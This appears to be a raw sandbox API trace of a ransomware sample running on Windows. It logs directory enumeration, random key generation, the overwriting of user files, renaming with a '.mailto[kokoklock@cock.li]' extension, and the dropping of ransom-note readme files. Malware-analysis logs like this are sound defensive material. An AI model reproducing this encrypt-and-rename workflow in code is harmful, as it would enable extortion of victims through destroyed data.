[0064.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e91d8) returned 1 [0064.511] RtlExitUserThread (Status=0x0) Thread: id = 319 os_tid = 0x1374 [0065.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd280 [0065.140] wcscpy (in: _Dest=0x33fd280, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0065.140] wcscat (in: _Dest=0x33fd280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0065.140] wcscat (in: _Dest=0x33fd280, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\*" [0065.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b210 [0065.141] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0065.143] wcscmp (_String1=".", _String2=".") returned 0 [0065.143] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.143] wcscmp (_String1="..", _String2=".") returned 1 [0065.143] wcscmp (_String1="..", _String2="..") returned 0 [0065.143] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0065.143] wcscmp (_String1="Reader_15.007.20033", _String2=".") returned 1 [0065.143] wcscmp (_String1="Reader_15.007.20033", _String2="..") returned 1 [0065.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e030 [0065.143] wcscpy (in: _Dest=0x347e030, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0065.143] wcscat (in: _Dest=0x347e030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0065.143] wcscat (in: _Dest=0x347e030, _Source="Reader_15.007.20033" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033" [0066.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347e030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0066.304] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0066.304] wcscmp (_String1="Reader_15.023.20070", _String2=".") returned 1 [0066.304] wcscmp (_String1="Reader_15.023.20070", _String2="..") returned 1 [0066.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dd20 [0066.304] wcscpy (in: _Dest=0x347dd20, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0066.304] wcscat (in: _Dest=0x347dd20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0066.304] wcscat (in: _Dest=0x347dd20, _Source="Reader_15.023.20070" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070" [0066.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347dd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0066.305] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 1 [0066.305] wcscmp (_String1="S", _String2=".") returned 1 [0066.305] wcscmp (_String1="S", _String2="..") returned 1 [0066.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fce00 [0066.305] wcscpy (in: _Dest=0x33fce00, _Source="C:\\Users\\All Users\\Adobe\\ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0066.305] wcscat (in: _Dest=0x33fce00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\" [0066.305] wcscat (in: _Dest=0x33fce00, _Source="S" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S") returned="C:\\Users\\All Users\\Adobe\\ARM\\S" [0066.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fce00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0066.306] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x342b210 | out: lpFindFileData=0x342b210*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S", cAlternateFileName="")) returned 0 [0066.306] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0066.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b210) returned 1 [0066.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0066.307] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0066.307] RtlExitUserThread (Status=0x0) Thread: id = 320 os_tid = 0x1378 [0065.143] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\iecb0vyaaeomc.swf")) returned 0x20 [0065.143] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf", dwFileAttributes=0x20) returned 1 [0065.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\iecb0vyaaeomc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0065.144] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0xee3fc2c | out: lpFileSize=0xee3fc2c*=56833) returned 1 [0065.144] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0xddfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.144] ReadFile (in: hFile=0x5bc, lpBuffer=0xee3fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0xee3fc00*, lpNumberOfBytesRead=0xee3fbfc*=0x4, lpOverlapped=0x0) returned 1 [0065.144] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be5c8 [0065.144] NtQuerySystemTime (in: CurrentTime=0xee3fbd8 | out: CurrentTime=0xee3fbd8*=132121176230376174) returned 0x0 [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x879a10c0 [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xd8ab3cdc [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x767c90d2 [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x9e573521 [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x83c6d50d [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x621b2ec4 [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x46340abe [0065.144] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x6df92093 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xf8b633a1 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xa5ab45b [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x2b225f5b [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xd804dbc7 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xc72308b7 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x3544a67a [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x1bfea72a [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x5fa1069e [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x53082245 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x33679b8a [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x661ee880 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x62e32083 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x2ecf793d [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x4144a660 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x4f6fda05 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xcbadfa1b [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x3a904835 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xa0f2e5ec [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xbd5e2451 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x7a9887ca [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x6ac46301 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x1dfbe52f [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0x53160fe7 [0065.145] RtlRandom (in: Seed=0xee3fbe4 | out: Seed=0xee3fbe4) returned 0xe18bd431 [0065.157] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.157] ReadFile (in: hFile=0x5bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xee3fbb0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xee3fbb0*=0x4096, lpOverlapped=0x0) returned 1 [0065.157] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.157] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be618 [0065.158] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.158] WriteFile (in: hFile=0x5bc, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xee3fbb0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xee3fbb0*=0x4096, lpOverlapped=0x0) returned 1 [0065.158] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.158] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0xde01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.158] WriteFile (in: hFile=0x5bc, lpBuffer=0x34be618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xee3fbe8, lpOverlapped=0x0 | out: lpBuffer=0x34be618*, lpNumberOfBytesWritten=0xee3fbe8*=0x20, lpOverlapped=0x0) returned 1 [0065.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be618) returned 1 [0065.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.159] WriteFile (in: hFile=0x5bc, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xee3fbfc*=0x8, lpOverlapped=0x0) returned 1 [0065.159] WriteFile (in: hFile=0x5bc, lpBuffer=0xee3fc14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0xee3fc14*, lpNumberOfBytesWritten=0xee3fbfc*=0x4, lpOverlapped=0x0) returned 1 [0065.159] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xee3fbfc*=0x4, lpOverlapped=0x0) returned 1 [0065.159] WriteFile (in: hFile=0x5bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xee3fbfc*=0x6c, lpOverlapped=0x0) returned 1 [0065.159] WriteFile (in: hFile=0x5bc, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xee3fbfc*=0x20, lpOverlapped=0x0) returned 1 [0065.159] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xee3fbfc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xee3fbfc*=0x4, lpOverlapped=0x0) returned 1 [0065.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.159] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.159] CloseHandle (hObject=0x5bc) returned 1 [0065.161] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb270 [0065.161] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf") returned="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf" [0065.161] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731" [0065.161] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf" (normalized: "c:\\users\\fd1hvy\\videos\\iecb0vyaaeomc.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\iecb0vyaaeomc.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.162] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.162] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf", dwFileAttributes=0x20) returned 0 [0065.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481fd8 [0065.162] wcscpy (in: _Dest=0x3481fd8, _Source="C:\\Users\\FD1HVy\\Videos\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0065.163] wcscat (in: _Dest=0x3481fd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" [0065.163] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\d0e731-readme.txt")) returned 0xffffffff [0065.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0065.163] WriteFile (in: hFile=0x5bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xee3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xee3fbf8*=0x481, lpOverlapped=0x0) returned 1 [0065.164] CloseHandle (hObject=0x5bc) returned 1 [0065.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481fd8) returned 1 [0065.165] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a98) returned 1 [0065.165] RtlExitUserThread (Status=0x1) Thread: id = 321 os_tid = 0x137c [0065.166] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4")) returned 0x20 [0065.166] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4", dwFileAttributes=0x20) returned 1 [0065.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0065.166] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0xeebf74c | out: lpFileSize=0xeebf74c*=9499) returned 1 [0065.166] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x2517, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.166] ReadFile (in: hFile=0x5bc, lpBuffer=0xeebf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0xeebf720*, lpNumberOfBytesRead=0xeebf71c*=0x4, lpOverlapped=0x0) returned 1 [0065.167] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be618 [0065.167] NtQuerySystemTime (in: CurrentTime=0xeebf6f8 | out: CurrentTime=0xeebf6f8*=132121176230653160) returned 0x0 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x8bbb9a0f [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x8fb15a57 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x91babb12 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x5ffa95b0 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x8938170b [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x2051aad8 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xe2dcb246 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x4d3b8b19 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xb40f1dbc [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xd1feaefd [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x80c24294 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x9e1f2c67 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xcdcc7fe7 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x54e9e80c [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xe2f4896 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xc146da4a [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xc937ce3 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xfb391da2 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xa2a3ec47 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xe892ddb8 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x14ae0380 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xa05199ae [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x8d02464c [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xdfbe9d7a [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xc084e723 [0065.167] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x3d473366 [0065.168] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x19e4ce38 [0065.168] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x6c7d6163 [0065.168] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x6760450e [0065.168] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0xeaba4851 [0065.168] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x2102d7c0 [0065.168] RtlRandom (in: Seed=0xeebf704 | out: Seed=0xeebf704) returned 0x10851dd9 [0065.179] ReadFile (in: hFile=0x5bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x251b, lpNumberOfBytesRead=0xeebf6f8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xeebf6f8*=0x251b, lpOverlapped=0x0) returned 1 [0065.179] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xeebf6c0 | out: lpNewFilePointer=0x0) returned 1 [0065.179] WriteFile (in: hFile=0x5bc, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x251b, lpNumberOfBytesWritten=0xeebf6f4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xeebf6f4*=0x251b, lpOverlapped=0x0) returned 1 [0065.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be690 [0065.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0x34be690*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xeebf6f0, lpOverlapped=0x0 | out: lpBuffer=0x34be690*, lpNumberOfBytesWritten=0xeebf6f0*=0x20, lpOverlapped=0x0) returned 1 [0065.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be690) returned 1 [0065.180] RtlFreeHeap 